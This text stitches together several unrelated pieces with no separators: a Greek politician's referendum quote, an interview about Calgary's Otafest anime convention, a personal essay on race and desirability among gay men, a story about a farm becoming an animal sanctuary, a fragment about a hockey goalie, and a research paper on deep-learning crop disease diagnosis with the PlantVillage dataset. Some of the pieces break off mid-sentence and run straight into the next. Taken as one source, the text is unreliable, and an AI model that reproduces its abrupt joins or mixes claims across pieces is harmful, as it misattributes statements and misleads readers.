Chrysogonos said it was not clear yet what recommendation the government would make in the runup to the vote. “I don’t know what the suggestion of the government will be, whether it will be to accept or to withdraw or to refuse the demands of the creditors. This remains to be seen. It remains to be seen what the verdict of the Greek people will be.”It will be yet another weekend when the costumes come out in Calgary.
No, it’s not some en masse, bizarro Canada 150 celebration, it’s the annual Otafest conference for anime lovers, which takes place Friday, June 30 to Sunday, July 2.
Many of the 8,000 expected attendees will don the look of their favourite character and head to the Telus Convention Centre for three days of panels, signings, gaming and so much more.
Prior to the event, Otafest Film and Cultural Festival Planning Committee president Stephanie Mok spoke with theYYSCENE.
Q: The event has technically been going since 1999, but has grown into something much, much larger hasn’t it?
A: Yes. In 1999 Otafest was a product of a U of C anime club. So it was really just the club folks getting together and watching anime, which back in 1999 was quite exciting because there was not a lot of anime easily accessible. In ’99 we would watch imported VHS tapes that were fan-dubbed and fansub and things like that. It was a little more rare to get your hands on some cool content, so back in the day and even in the early 2000s it was a little bit more of a film kind of vibe because we were really focusing on promoting the shows themselves or the films themselves, and it was harder to get your hands on stuff back then.
Q: Now take us to today, it’s so much more than that — voice actors, artists, panels.
A: Otafest has sort of evolved into — I like to say it’s an anime convention that celebrates anime and things that anime fans like. (Laughs) So we have voice talent from popular anime shows, we have artists who come and do our show who do popular fan art — they have a large web presence — and a big thing is gamers who livestream on Twitch or on YouTube, so we bring in talent who are involved in the video game side, because most of our favourite video games come from Japan, so we have a lot of folks in that world as well. We have cosplayers, which is a big thing … It’s a big part of our culture here at Otafest, people come just to show off their costume or meet with others who enjoy cosplay, so that’s a huge part of what we do. We bring in Japanese musicians, so we’ve got an indie rock band from Japan called Pingame coming to do a show on Friday night with a couple of other DJs and musical talent accompanying them. So really something for everyone, I would say.
Q: Who are some of the other guests that are coming this year that people might know or should know?
A: If anyone was ever a fan of Sailor Moon back in the day, we do have some of the original voice talent from that show — so that’s exciting for people, especially the nostalgia freaks; the ’90s kids will get a kick out of that. From Japan there is quite famous cosplayer named Reika coming to do some panels and some meet-and-greets with fans — so anyone who is a cosplay junkie would probably be familiar with (her) work. There is also a local artist who has a very large following across the globe. His artist handle is Birdy and he does fan art, primarily of Pokemon and things of that nature, so he has a ton of followers, especially younger folks are into his work. He guested for us a couple of years ago and his panel was absolutely jam-packed so we’re really excited that he’s come back. We have Microsoft and Nintendo both attending our show, so they will be doing some gaming demos for people and hanging out with us.
Q: I know charity is always a part of what Otafest does and this year sounds like one that’s very close to you guys — the Tom Baker Cancer Centre.
A: We are 100 per cent volunteer-run, we have no paid staff at all, we’re a non-profit organization and we feel that community and charity are really a part of who we are and our foundation. And we have a volunteer who’s near and dear to us who is currently receiving treatment for cancer at Tom Baker, so when it came to decide our charity that we would like to support we looked to this volunteer and said, “Would this be OK, would you like us to do that?” and they were honoured for us to select that charity and of course we’re happy to support them. They will actually not be at our event as they have to spend some time at the centre while we’re putting the show on and I know that this volunteer would love to be with us, so we’re really going to be thinking about them.
Since our inception we’ve raised just over $90,000 for charity, so we’re hoping to break that $100,000 mark this year for Canada 150 and our big show. So we’re hoping that we’ll be able to break that number and give a $10,000 gift to Tom Baker. That’s our goal, so hopefully we’ll get there.
Q: You mentioned it: Canada 150. Do you have anything special planned for that?
A: Again we’re really going hard on charity work for Canada 150, especially as part of the Three Things for Canada (initiative) that we’ve been working on. We do have the Japanese Consulate-General who will be presenting a couple of special awards at our show, for Canada’s 150 and our relationship with Japan … And then we have for the first time ever 24-hour, overnight content (on Friday and Saturday). So guests who come to Otafest who are really the diehard nerds that stay up all night binge-watching anime and playing games can do that at our show this year. We decided that for the first time ever to have that, so that will be a draw. (Laughs) I think our team is looking at each other like, “What were we thinking?” but there you go. That should be good fun as well.
Otafest runs June 30 to July 2 at the Calgary Telus Convention Centre. For tickets and more information go to otafest.com.My back was to the subway door and the train was relatively crowded, but not so crowded where you’re nose-to-raised armpit. This cute guy stood in front of me, and as I looked at him in that I’m-checking-you-out-but-I’m-so-not-checking-you-out kind of way, I realized: I really like tall white guys! But not just any white bro—tall, skinny, hipster white guys. To be fair, I do have a range of types that span ethnicities, but if you’re tall, skinny, and a hipster of any ethnic background, call me—maybe.
Guess what? Everybody likes white guys! And it’s problematic. A thirst for tall white guys might seem like the craziest thing in the world to feel conflicted by, but it troubles me for a couple of reasons. First, a lot of my scholarly writing focuses on queer bodies of color and I’m committed to meaningful diversity across cultural forms. So, does this make me a hypocrite? Second, it troubles me because in recognizing that I love white guys I also know that I’m reacting to hundreds of years of being told that whiteness is the only kind of beauty, that black traits should be “lightened” and “corrected” through surgery, chemical hair processes and skin lightening technologies. But the reason it troubles me most is because, in a backwards kind of way, whiteness is the standard of beauty in American gay male culture, and sometimes I wonder if white gay dudes even realize it.
You can see the Nazi-like gay male obsession with whiteness if you look at gay porn, specifically things produced by Sean Cody or anything that’s about “twinks”; Bruce Weber’s fairly homoerotic black and white images of bros frolicking around in Abercrombie and Fitch catalogues; profiles from a number of social networking sites, including Manhunt and Grindr that regularly specify “No Blacks” or “I’m only into other white guys, sorry” and then justify themselves by saying it’s merely a “preference”; the fact that top gay male personalities seem to only ever date other white guys, perhaps a Brazilian if they’re feeling ethnic; and the gay characters on television shows are almost always lily white.
In fact, there’s a fabulous new gay web series called The Outs produced by Adam Goldman that’s about gay dudes, life, and relationships in Brooklyn. There are three episodes of the show, but just from watching those very short minutes you can tell the production level is high and the writing is strong, funny, and overall it’s an amazing effort. The catch? There are as yet no people of color of substance on the show. That’s not so troubling if you think, like on Lena Dunham’s "Girls", that the show is about a very niche world. And it is—it’s about gay Brooklyn hipsters and their friends, and maybe it’s hard to find gay hipsters of color (I doubt it). The problem I have with the snow blindness is that it just rehearses the silent yet highly visible notion that many white gay men are blind to issues of race and are primarily interested in having orgies of whiteness with their kindred bros.
Now before you come for me, saying, “You’re delusional and taking this way too seriously, hunaaai,” consider this. Dating websites have done extensive research into what kinds of person respond to which type of profiles. OKCupid, for instance, did a study on how people receive messages based on their race. The findings reveal that not only do white gay guys receive the highest response rates but also that they respond the least to different ethnic backgrounds. For instance, white gay males on OKCupid respond to 35 percent of the messages they receive from Asian gay males compared to just 32 percent of the messages they get from black gay guys. Overall, white guys respond the least to messages from twinks and bottoms of color who are looking to get poked. Do you know what this means? It means that all of these snow blind gays are waxing on their SPF Ethnicity so as not to be broached by people of color. This is a kind of white gay privilege.
Why is race an issue in gay relationships? Is dealing with being gay so traumatizing that the only way to deal with the blow of coming out to your family or of living with it is to show that you’re still as close to the “norm” as possible? Mom, I’m gay, but at least my boyfriend is a white boy from Nebraska and not some undocumented immigrant who was brought to this country through no fault of his own!Some cows from a cattle ranch are getting a new lease on life.
Farmer Mike Lanigan is currently turning his ranch in Uxbridge, Canada, into a sanctuary for animals. Lanigan, who works the same land his father used to, didn’t want to send his cows to the butcher anymore. So about a month and a half ago, he committed to giving his animals a safe place to live their happiest, fullest lives.
Lanigan’s story was recently captured in a short video by Edith Barabash, who works at a farmer’s market where she helps him sell his produce. In her video, uploaded to YouTube on Sept. 4, it’s clear that Lanigan is relieved by this change.
“I thought, ‘how hypocritical of me to give something so much love and the end... is so different from that love,’” he says in the video.
“I never liked that part,” he said of sending his cattle off to the butcher.
While the farm has completely stopped having its animals slaughtered, it still needs to become a nonprofit and eventually obtain a charitable status before it’s a true sanctuary. The farm’s staff has launched a crowdfunding campaign to help cover the costs of the animals’ living expenses and get the operation certified, Barabash told The Huffington Post.
Lanigan’s farm is currently home to 21 cows along with geese, horses and a “guard donkey.” Though he’s sold beef in the past, his produce and maple sap sales now serve as his primary means of income.
The cows still bring an added benefit to the farm.
“Mike believes that having grazing animals on a crop farm is extremely beneficial to the land, and we do collect their manure to use as fertilizer,” Barabash explained to HuffPost.
Strapped with large expenses related to running a farm, Lanigan would previously send his cows to a butcher to help cover bills. But the farmer explained he wanted this to change after an experience he had with a newborn calf.
When Lanigan was helping the calf get its first milk, he was reminded of an older man who’d worked for his father and put in so much love and care when dealing with the animals.
Much like that older man, Lanigan was also giving his new calf a great deal of attention to help it survive. He felt it was only fair the calf receive a happy ending too. So he reached out to Barabash, a vegan, for suggestions on how to transform the farm. And that |
great two weeks. A lot of fun to play hockey at such a high level, in a place where they respect hockey. But it wasn’t the fairy tale ending.”
That’s what Miller’s chasing now, and desperately wants to experience.
But his legacy won’t punch his ticket for Sochi – he’ll have to earn it again.
"The job I did was three and a half, almost four years ago. You can’t stack that in the net behind you and have it deflect pucks away for you. You have to re-focus, reestablish," said Miller.
"And start over.”Crop diseases are a major threat to food security, but their rapid identification remains difficult in many parts of the world due to the lack of the necessary infrastructure. The combination of increasing global smartphone penetration and recent advances in computer vision made possible by deep learning has paved the way for smartphone-assisted disease diagnosis. Using a public dataset of 54,306 images of diseased and healthy plant leaves collected under controlled conditions, we train a deep convolutional neural network to identify 14 crop species and 26 diseases (or absence thereof). The trained model achieves an accuracy of 99.35% on a held-out test set, demonstrating the feasibility of this approach. Overall, the approach of training deep learning models on increasingly large and publicly available image datasets presents a clear path toward smartphone-assisted crop disease diagnosis on a massive global scale.
Introduction
Modern technologies have given human society the ability to produce enough food to meet the demand of more than 7 billion people. However, food security remains threatened by a number of factors including climate change (Tai et al., 2014), the decline in pollinators (Report of the Plenary of the Intergovernmental Science-PolicyPlatform on Biodiversity Ecosystem and Services on the work of its fourth session, 2016), plant diseases (Strange and Scott, 2005), and others. Plant diseases are not only a threat to food security at the global scale, but can also have disastrous consequences for smallholder farmers whose livelihoods depend on healthy crops. In the developing world, more than 80 percent of the agricultural production is generated by smallholder farmers (UNEP, 2013), and reports of yield loss of more than 50% due to pests and diseases are common (Harvey et al., 2014). Furthermore, the largest fraction of hungry people (50%) live in smallholder farming households (Sanchez and Swaminathan, 2005), making smallholder farmers a group that's particularly vulnerable to pathogen-derived disruptions in food supply.
Various efforts have been developed to prevent crop loss due to diseases. Historical approaches of widespread application of pesticides have in the past decade increasingly been supplemented by integrated pest management (IPM) approaches (Ehler, 2006). Independent of the approach, identifying a disease correctly when it first appears is a crucial step for efficient disease management. Historically, disease identification has been supported by agricultural extension organizations or other institutions, such as local plant clinics. In more recent times, such efforts have additionally been supported by providing information for disease diagnosis online, leveraging the increasing Internet penetration worldwide. Even more recently, tools based on mobile phones have proliferated, taking advantage of the historically unparalleled rapid uptake of mobile phone technology in all parts of the world (ITU, 2015).
Smartphones in particular offer very novel approaches to help identify diseases because of their computing power, high-resolution displays, and extensive built-in sets of accessories, such as advanced HD cameras. It is widely estimated that there will be between 5 and 6 billion smartphones on the globe by 2020. At the end of 2015, already 69% of the world's population had access to mobile broadband coverage, and mobile broadband penetration reached 47% in 2015, a 12-fold increase since 2007 (ITU, 2015). The combined factors of widespread smartphone penetration, HD cameras, and high performance processors in mobile devices lead to a situation where disease diagnosis based on automated image recognition, if technically feasible, can be made available at an unprecedented scale. Here, we demonstrate the technical feasibility using a deep learning approach utilizing 54,306 images of 14 crop species with 26 diseases (or healthy) made openly available through the project PlantVillage (Hughes and Salathé, 2015). An example of each crop—disease pair can be seen in Figure 1.
FIGURE 1
Figure 1. Example of leaf images from the PlantVillage dataset, representing every crop-disease pair used. (1) Apple Scab, Venturia inaequalis (2) Apple Black Rot, Botryosphaeria obtusa (3) Apple Cedar Rust, Gymnosporangium juniperi-virginianae (4) Apple healthy (5) Blueberry healthy (6) Cherry healthy (7) Cherry Powdery Mildew, Podoshaera clandestine (8) Corn Gray Leaf Spot, Cercospora zeae-maydis (9) Corn Common Rust, Puccinia sorghi (10) Corn healthy (11) Corn Northern Leaf Blight, Exserohilum turcicum (12) Grape Black Rot, Guignardia bidwellii, (13) Grape Black Measles (Esca), Phaeomoniella aleophilum, Phaeomoniella chlamydospora (14) Grape Healthy (15) Grape Leaf Blight, Pseudocercospora vitis (16) Orange Huanglongbing (Citrus Greening), Candidatus Liberibacter spp. (17) Peach Bacterial Spot, Xanthomonas campestris (18) Peach healthy (19) Bell Pepper Bacterial Spot, Xanthomonas campestris (20) Bell Pepper healthy (21) Potato Early Blight, Alternaria solani (22) Potato healthy (23) Potato Late Blight, Phytophthora infestans (24) Raspberry healthy (25) Soybean healthy (26) Squash Powdery Mildew, Erysiphe cichoracearum (27) Strawberry Healthy (28) Strawberry Leaf Scorch, Diplocarpon earlianum (29) Tomato Bacterial Spot, Xanthomonas campestris pv. vesicatoria (30) Tomato Early Blight, Alternaria solani (31) Tomato Late Blight, Phytophthora infestans (32) Tomato Leaf Mold, Passalora fulva (33) Tomato Septoria Leaf Spot, Septoria lycopersici (34) Tomato Two Spotted Spider Mite, Tetranychus urticae (35) Tomato Target Spot, Corynespora cassiicola (36) Tomato Mosaic Virus (37) Tomato Yellow Leaf Curl Virus (38) Tomato healthy.
Computer vision, and object recognition in particular, has made tremendous advances in the past few years. The PASCAL VOC Challenge (Everingham et al., 2010), and more recently the Large Scale Visual Recognition Challenge (ILSVRC) (Russakovsky et al., 2015) based on the ImageNet dataset (Deng et al., 2009) have been widely used as benchmarks for numerous visualization-related problems in computer vision, including object classification. In 2012, a large, deep convolutional neural network achieved a top-5 error of 16.4% for the classification of images into 1000 possible categories (Krizhevsky et al., 2012). In the following 3 years, various advances in deep convolutional neural networks lowered the error rate to 3.57% (Krizhevsky et al., 2012; Simonyan and Zisserman, 2014; Zeiler and Fergus, 2014; He et al., 2015; Szegedy et al., 2015). While training large neural networks can be very time-consuming, the trained models can classify images very quickly, which makes them also suitable for consumer applications on smartphones.
Deep neural networks have recently been successfully applied in many diverse domains as examples of end to end learning. Neural networks provide a mapping between an input—such as an image of a diseased plant—to an output—such as a crop~disease pair. The nodes in a neural network are mathematical functions that take numerical inputs from the incoming edges, and provide a numerical output as an outgoing edge. Deep neural networks are simply mapping the input layer to the output layer over a series of stacked layers of nodes. The challenge is to create a deep network in such a way that both the structure of the network as well as the functions (nodes) and edge weights correctly map the input to the output. Deep neural networks are trained by tuning the network parameters in such a way that the mapping improves during the training process. This process is computationally challenging and has in recent times been improved dramatically by a number of both conceptual and engineering breakthroughs (LeCun et al., 2015; Schmidhuber, 2015).
In order to develop accurate image classifiers for the purposes of plant disease diagnosis, we needed a large, verified dataset of images of diseased and healthy plants. Until very recently, such a dataset did not exist, and even smaller datasets were not freely available. To address this problem, the PlantVillage project has begun collecting tens of thousands of images of healthy and diseased crop plants (Hughes and Salathé, 2015), and has made them openly and freely available. Here, we report on the classification of 26 diseases in 14 crop species using 54,306 images with a convolutional neural network approach. We measure the performance of our models based on their ability to predict the correct crop-diseases pair, given 38 possible classes. The best performing model achieves a mean F 1 score of 0.9934 (overall accuracy of 99.35%), hence demonstrating the technical feasibility of our approach. Our results are a first step toward a smartphone-assisted plant disease diagnosis system.
Methods
Dataset Description
We analyze 54,306 images of plant leaves, which have a spread of 38 class labels assigned to them. Each class label is a crop-disease pair, and we make an attempt to predict the crop-disease pair given just the image of the plant leaf. Figure 1 shows one example each from every crop-disease pair from the PlantVillage dataset. In all the approaches described in this paper, we resize the images to 256 × 256 pixels, and we perform both the model optimization and predictions on these downscaled images.
Across all our experiments, we use three different versions of the whole PlantVillage dataset. We start with the PlantVillage dataset as it is, in color; then we experiment with a gray-scaled version of the PlantVillage dataset, and finally we run all the experiments on a version of the PlantVillage dataset where the leaves were segmented, hence removing all the extra background information which might have the potential to introduce some inherent bias in the dataset due to the regularized process of data collection in case of PlantVillage dataset. Segmentation was automated by the means of a script tuned to perform well on our particular dataset. We chose a technique based on a set of masks generated by analysis of the color, lightness and saturation components of different parts of the images in several color spaces (Lab and HSB). One of the steps of that processing also allowed us to easily fix color casts, which happened to be very strong in some of the subsets of the dataset, thus removing another potential bias.
This set of experiments was designed to understand if the neural network actually learns the “notion” of plant diseases, or if it is just learning the inherent biases in the dataset. Figure 2 shows the different versions of the same leaf for a randomly selected set of leaves.
FIGURE 2
Figure 2. Sample images from the three different versions of the PlantVillage dataset used in various experimental configurations. (A) Leaf 1 color, (B) Leaf 1 grayscale, (C) Leaf 1 segmented, (D) Leaf 2 color, (E) Leaf 2 gray-scale, (F) Leaf 2 segmented.
Measurement of Performance
To get a sense of how our approaches will perform on new unseen data, and also to keep a track of if any of our approaches are overfitting, we run all our experiments across a whole range of train-test set splits, namely 80–20 (80% of the whole dataset used for training, and 20% for testing), 60–40 (60% of the whole dataset used for training, and 40% for testing), 50–50 (50% of the whole dataset used for training, and 50% for testing), 40–60 (40% of the whole dataset used for training, and 60% for testing) and finally 20–80 (20% of the whole dataset used for training, and 80% for testing). It must be noted that in many cases, the PlantVillage dataset has multiple images of the same leaf (taken from different orientations), and we have the mappings of such cases for 41,112 images out of the 54,306 images; and during all these test-train splits, we make sure all the images of the same leaf goes either in the training set or the testing set. Further, for every experiment, we compute the mean precision, mean recall, mean F 1 score, along with the overall accuracy over the whole period of training at regular intervals (at the end of every epoch). We use the final mean F 1 score for the comparison of results across all of the different experimental configurations.
Approach
We evaluate the applicability of deep convolutional neural networks for the classification problem described above. We focus on two popular architectures, namely AlexNet (Krizhevsky et al., 2012), and GoogLeNet (Szegedy et al., 2015), which were designed in the context of the “Large Scale Visual Recognition Challenge” (ILSVRC) (Russakovsky et al., 2015) for the ImageNet dataset (Deng et al., 2009).
The AlexNet architecture (see Figure S2) follows the same design pattern as the LeNet-5 (LeCun et al., 1989) architecture from the 1990s. The LeNet-5 architecture variants are usually a set of stacked convolution layers followed by one or more fully connected layers. The convolution layers optionally may have a normalization layer and a pooling layer right after them, and all the layers in the network usually have ReLu non-linear activation units associated with them. AlexNet consists of 5 convolution layers, followed by 3 fully connected layers, and finally ending with a softMax layer. The first two convolution layers (conv{1, 2}) are each followed by a normalization and a pooling layer, and the last convolution layer (conv5) is followed by a single pooling layer. The final fully connected layer (fc8) has 38 outputs in our adapted version of AlexNet (equaling the total number of classes in our dataset), which feeds the softMax layer. The softMax layer finally exponentially normalizes the input that it gets from (fc8), thereby producing a distribution of values across the 38 classes that add up to 1. These values can be interpreted as the confidences of the network that a given input image is represented by the corresponding classes. All of the first 7 layers of AlexNet have a ReLu non-linearity activation unit associated with them, and the first two fully connected layers (fc{6, 7}) have a dropout layer associated with them, with a dropout ratio of 0.5.
The GoogleNet architecture on the other hand is a much deeper and wider architecture with 22 layers, while still having considerably lower number of parameters (5 million parameters) in the network than AlexNet (60 million parameters). An application of the “network in network” architecture (Lin et al., 2013) in the form of the inception modules is a key feature of the GoogleNet architecture. The inception module uses parallel 1 × 1, 3 × 3, and 5 × 5 convolutions along with a max-pooling layer in parallel, hence enabling it to capture a variety of features in parallel. In terms of practicality of the implementation, the amount of associated computation needs to be kept in check, which is why 1 × 1 convolutions before the above mentioned 3 × 3, 5 × 5 convolutions (and also after the max-pooling layer) are added for dimensionality reduction. Finally, a filter concatenation layer simply concatenates the outputs of all these parallel layers. While this forms a single inception module, a total of 9 inception modules is used in the version of the GoogLeNet architecture that we use in our experiments. A more detailed overview of this architecture can be found for reference in (Szegedy et al., 2015).
We analyze the performance of both these architectures on the PlantVillage dataset by training the model from scratch in one case, and then by adapting already trained models (trained on the ImageNet dataset) using transfer learning. In case of transfer learning, we re-initialize the weights of layer fc8 in case of AlexNet, and of the loss {1,2,3}/classifier layers in case of GoogLeNet. Then, when training the model, we do not limit the learning of any of the layers, as is sometimes done for transfer learning. In other words, the key difference between these two learning approaches (transfer vs. training from scratch) is in the initial state of weights of a few layers, which lets the transfer learning approach exploit the large amount of visual knowledge already learned by the pre-trained AlexNet and GoogleNet models extracted from ImageNet (Russakovsky et al., 2015).
To summarize, we have a total of 60 experimental configurations, which vary on the following parameters:
1. Choice of deep learning architecture:
AlexNet,
GoogLeNet.
2. Choice of training mechanism:
Transfer Learning,
Training from Scratch.
3. Choice of dataset type:
Color,
Gray scale,
Leaf Segmented.
4. Choice of training-testing set distribution:
Train: 80%, Test: 20%,
Train: 60%, Test: 40%,
Train: 50%, Test: 50%,
Train: 40%, Test: 60%,
Train: 20%, Test: 80%.
Throughout this paper, we have used the notation of Architecture:TrainingMechanism:DatasetType:Train-Test-Set-Distribution to refer to particular experiments. For instance, to refer to the experiment using the GoogLeNet architecture, which was trained using transfer learning on the gray-scaled PlantVillage dataset on a train—test set distribution of 60–40, we will use the notation GoogLeNet:TransferLearning:GrayScale:60–40.
Each of these 60 experiments runs for a total of 30 epochs, where one epoch is defined as the number of training iterations in which the particular neural network has completed a full pass of the whole training set. The choice of 30 epochs was made based on the empirical observation that in all of these experiments, the learning always converged well within 30 epochs (as is evident from the aggregated plots (Figure 3) across all the experiments).
FIGURE 3
Figure 3. Progression of mean F 1 score and loss through the training period of 30 epochs across all experiments, grouped by experimental configuration parameters. The intensity of a particular class at any point is proportional to the corresponding uncertainty across all experiments with the particular configurations. (A) Comparison of progression of mean F 1 score across all experiments, grouped by deep learning architecture, (B) Comparison of progression of mean F 1 score across all experiments, grouped by training mechanism, (C) Comparison of progression of train-loss and test-loss across all experiments, (D) Comparison of progression of mean F 1 score across all experiments, grouped by train-test set splits, (E) Comparison of progression of mean F 1 score across all experiments, grouped by dataset type. A similar plot of all the observations, as it is, across all the experimental configurations can be found in the Supplementary Material.
To enable a fair comparison between the results of all the experimental configurations, we also tried to standardize the hyper-parameters across all the experiments, and we used the following hyper-parameters in all of the experiments:
• Solver type: Stochastic Gradient Descent,
• Base learning rate: 0.005,
• Learning rate policy: Step (decreases by a factor of 10 every 30/3 epochs),
• Momentum: 0.9,
• Weight decay: 0.0005,
• Gamma: 0.1,
• Batch size: 24 (in case of GoogLeNet), 100 (in case of AlexNet).
All the above experiments were conducted using our own fork of Caffe (Jia et al., 2014), which is a fast, open source framework for deep learning. The basic results, such as the overall accuracy can also be replicated using a standard instance of caffe.
Results
At the outset, we note that on a dataset with 38 class labels, random guessing will only achieve an overall accuracy of 2.63% on average. Across all our experimental configurations, which include three visual representations of the image data (see Figure 2), the overall accuracy we obtained on the PlantVillage dataset varied from 85.53% (in case of AlexNet::TrainingFromScratch::GrayScale::80–20) to 99.34% (in case of GoogLeNet::TransferLearning::Color::80–20), hence showing strong promise of the deep learning approach for similar prediction problems. Table 1 shows the mean F 1 score, mean precision, mean recall, and overall accuracy across all our experimental configurations. All the experimental configurations run for a total of 30 epochs each, and they almost consistently converge after the first step down in the learning rate.
TABLE 1
Table 1. Mean F 1 score across various experimental configurations at the end of 30 epochs.
To address the issue of over-fitting, we vary the test set to train set ratio and observe that even in the extreme case of training on only 20% of the data and testing the trained model on the rest 80% of the data, the model achieves an overall accuracy of 98.21% (mean F 1 score of 0.9820) in the case of GoogLeNet::TransferLearning::Color::20–80. As expected, the overall performance of both AlexNet and GoogLeNet do degrade if we keep increasing the test set to train set ratio (see Figure 3D), but the decrease in performance is not as drastic as we would expect if the model was indeed over-fitting. Figure 3C also shows that there is no divergence between the validation loss and the training loss, confirming that over-fitting is not a contributor to the results we obtain across all our experiments.
Among the AlexNet and GoogLeNet architectures, GoogLeNet consistently performs better than AlexNet (Figure 3A), and based on the method of training, transfer learning always yields better results (Figure 3B), both of which were expected.
The three versions of the dataset (color, gray-scale, and segmented) show a characteristic variation in performance across all the experiments when we keep the rest of the experimental configuration constant. The models perform the best in case of the colored version of the dataset. When designing the experiments, we were concerned that the neural networks might only learn to pick up the inherent biases associated with the lighting conditions, the method and apparatus of collection of the data. We therefore experimented with the gray-scaled version of the same dataset to test the model's adaptability in the absence of color information, and its ability to learn higher level structural patterns typical to particular crops and diseases. As expected, the performance did decrease when compared to the experiments on the colored version of the dataset, but even in the case of the worst performance, the observed mean F 1 score was 0.8524 (overall accuracy of 85.53%). The segmented versions of the whole dataset was also prepared to investigate the role of the background of the images in overall performance, and as shown in Figure 3E, the performance of the model using segmented images is consistently better than that of the model using gray-scaled images, but slightly lower than that of the model using the colored version of the images.
While these approaches yield excellent results on the PlantVillage dataset which was collected in a controlled environment, we also assessed the model's performance on images sampled from trusted online sources, such as academic agriculture extension services. Such images are not available in large numbers, and using a combination of automated download from Bing Image Search and IPM Images with a visual verification step, we obtained two small, verified datasets of 121 (dataset 1) and 119 images (dataset 2), respectively (see Supplementary Material for a detailed description of the process). Using the best model on these datasets, we obtained an overall accuracy of 31.40% in dataset 1, and 31.69% in dataset 2, in successfully predicting the correct class label (i.e., crop and disease information) from among 38 possible class labels. We note that a random classifier will obtain an average accuracy of only 2.63%. Across all images, the correct class was in the top-5 predictions in 52.89% of the cases in dataset 1, and in 65.61% of the cases in dataset 2. The best models for the two datasets were GoogLeNet:Segmented:TransferLearning:80–20 for dataset 1, and GoogLeNet:Color:TransferLearning:80–20 for dataset 2. An example image from theses datasets, along with its visualization of activations in the initial layers of an AlexNet architecture, can be seen in Figure 4.
FIGURE 4
Figure 4. Visualization of activations in the initial layers of an AlexNet architecture demonstrating that the model has learnt to efficiently activate against the diseased spots on the example leaf. (A) Example image of a leaf suffering from Apple Cedar Rust, selected from the top-20 images returned by Bing Image search for the keywords “Apple Cedar Rust Leaves” on April 4th, 2016. Image Reference: Clemson University - USDA Cooperative Extension Slide Series, Bugwood. org. (B) Visualization of activations in the first convolution layer(conv1) of an AlexNet architecture trained using AlexNet:Color:TrainFromScratch:80–20 when doing a forward pass on the image in shown in panel b.
So far, all results have been reported under the assumption that the model needs to detect both the crop species and the disease status. We can limit the challenge to a more realistic scenario where the crop species is provided, as it can be expected to be known by those growing the crops. To assess this the performance of the model under this scenario, we limit ourselves to crops where we have at least n > = 2 (to avoid trivial classification) or n > = 3 classes per crop. In the n > = 2 case, dataset 1 contains 33 classes distributed among 9 crops. Random guessing in such a dataset would achieve an accuracy of 0.225, while our model has an accuracy of 0.478. In the n > = 3 case, the dataset contains 25 classes distributed among 5 crops. Random guessing in such a dataset would achieve an accuracy of 0.179, while our model has an accuracy of 0.411.
Similarly, in the n > = 2 case, dataset 2 contains 13 classes distributed among 4 crops. Random guessing in such a dataset would achieve an accuracy of 0.314, while our model has an accuracy of 0.545. In the n > = 3 case, the dataset contains 11 classes distributed among 3 crops. Random guessing in such a dataset would achieve an accuracy of 0.288, while our model has an accuracy of 0.485.
Discussion
The performance of convolutional neural networks in object recognition and image classification has made tremendous progress in the past few years. (Krizhevsky et al., 2012; Simonyan and Zisserman, 2014; Zeiler and Fergus, 2014; He et al., 2015; Szegedy et al., 2015). Previously, the traditional approach for image classification tasks has been based on hand-engineered features, such as SIFT (Lowe, 2004), HoG (Dalal and Triggs, 2005), SURF (Bay et al., 2008), etc., and then to use some form of learning algorithm in these feature spaces. The performance of these approaches thus depended heavily on the underlying predefined features. Feature engineering itself is a complex and tedious process which needs to be revisited every time the problem at hand or the associated dataset changes considerably. This problem occurs in all traditional attempts to detect plant diseases using computer vision as they lean heavily on hand-engineered features, image enhancement techniques, and a host of other complex and labor-intensive methodologies.
In addition, traditional approaches to disease classification via machine learning typically focus on a small number of classes usually within a single crop. Examples include a feature extraction and classification pipeline using thermal and stereo images in order to classify tomato powdery mildew against healthy tomato leaves (Raza et al., 2015); the detection of powdery mildew in uncontrolled environments using RGB images (Hernández-Rabadán et al., 2014); the use of RGBD images for detection of apple scab (Chéné et al., 2012) the use of fluorescence imaging spectroscopy for detection of citrus huanglongbing (Wetterich et al., 2012) the detection of citrus huanglongbing using near infrared spectral patterns (Sankaran et al., 2011) and aircraft-based sensors (Garcia-Ruiz et al., 2013) the detection of tomato yellow leaf curl virus by using a set of classic feature extraction steps, followed by classification using a support vector machines pipeline (Mokhtar et al., 2015), and many others. A very recent review on the use of machine learning on plant phenotyping (Singh et al., 2015) extensively discusses the work in this domain. While neural networks have been used before in plant disease identification (Huang, 2007) (for the classification and detection of Phalaenopsis seedling disease like bacterial soft rot, bacterial brown spot, and Phytophthora black rot), the approach required representing the images using a carefully selected list of texture features before the neural network could classify them.
Our approach is based on recent work Krizhevsky et al. (2012) which showed for the first time that end-to-end supervised training using a deep convolutional neural network architecture is a practical possibility even for image classification problems with a very large number of classes, beating the traditional approaches using hand-engineered features by a substantial margin in standard benchmarks. The absence of the labor-intensive phase of feature engineering and the generalizability of the solution makes them a very promising candidate for a practical and scaleable approach for computational inference of plant diseases.
Using the deep convolutional neural network architecture, we trained a model on images of plant leaves with the goal of classifying both crop species and the presence and identity of disease on images that the model had not seen before. Within the PlantVillage data set of 54,306 images containing 38 classes of 14 crop species and 26 diseases (or absence thereof), this goal has been achieved as demonstrated by the top accuracy of 99.35%. Thus, without any feature engineering, the model correctly classifies crop and disease from 38 possible classes in 993 out of 1000 images. Importantly, while the training of the model takes a lot of time (multiple hours on a high performance GPU cluster computer), the classification itself is very fast (less than a second on a CPU), and can thus easily be implemented on a smartphone. This presents a clear path toward smartphone-assisted crop disease diagnosis on a massive global scale.
However, there are a number of limitations at the current stage that need to be addressed in future work. First, when tested on a set of images taken under conditions different from the images used for training, the model's accuracy is reduced substantially, to just above 31%. It's important to note that this accuracy is much higher than the one based on random selection of 38 classes (2.6%), but nevertheless, a more diverse set of training data is needed to improve the accuracy. Our current results indicate that more (and more variable) data alone will be sufficient to substantially increase the accuracy, and corresponding data collection efforts are underway.
The second limitation is that we are currently constrained to the classification of single leaves, facing up, on a homogeneous background. While these are straightforward conditions, a real world application should be able to classify images of a disease as it presents itself directly on the plant. Indeed, many diseases don't present themselves on the upper side of leaves only (or at all), but on many different parts of the plant. Thus, new image collection efforts should try to obtain images from many different perspectives, and ideally from settings that are as realistic as possible.
At the same time, by using 38 classes that contain both crop species and disease status, we have made the challenge harder than ultimately necessary from a practical perspective, as growers are expected to know which crops they are growing. Given the very high accuracy on the PlantVillage dataset, limiting the classification challenge to the disease status won't have a measurable effect. However, on the real world datasets, we can measure noticeable improvements in accuracy. Overall, the presented approach works reasonably well with many different crop species and diseases, and is expected to improve considerably with more training data.
